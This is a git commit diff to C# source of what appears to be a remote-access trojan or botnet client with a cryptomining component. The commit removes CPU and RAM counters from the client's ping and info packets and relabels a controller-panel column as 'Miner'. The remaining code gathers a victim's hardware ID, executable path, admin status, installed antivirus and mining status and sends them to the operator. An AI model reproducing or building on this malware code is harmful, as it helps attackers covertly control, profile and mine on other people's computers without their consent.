removed client CPU usage

This commit is contained in:
NYAN CAT 2019-12-20 03:38:54 +03:00
parent 3c3108ba3e
commit 3df9f99e41
3 changed files with 3 additions and 14 deletions

View File

@ -256,14 +256,7 @@ namespace Client.Connection
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
try
{
msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)IdSender.TheCPUCounter.NextValue()}% RAM {(int)IdSender.TheMemCounter.NextValue()}%";
}
catch
{
msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}";
}
Send(msgpack.Encode2Bytes());
Ping?.Dispose();
Interval = 0;

View File

@ -9,9 +9,6 @@ namespace Client.Helper
{
public static class IdSender
{
public static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total");
public static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use");
public static byte[] SendInfo()
{
MsgPack msgpack = new MsgPack();
@ -23,8 +20,7 @@ namespace Client.Helper
msgpack.ForcePathObject("Path").AsString = Application.ExecutablePath;
msgpack.ForcePathObject("Version").AsString = Settings.Version;
msgpack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User");
TheCPUCounter.NextValue();
msgpack.ForcePathObject("Performance").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%";
msgpack.ForcePathObject("Performance").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}";
msgpack.ForcePathObject("Pastebin").AsString = Settings.Pastebin;
msgpack.ForcePathObject("Antivirus").AsString = Methods.Antivirus();
msgpack.ForcePathObject("Installed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString();

View File

@ -226,7 +226,7 @@
//
// lv_prefor
//
this.lv_prefor.Text = "Performance";
this.lv_prefor.Text = "Miner";
this.lv_prefor.Width = 200;
//
// contextMenuClient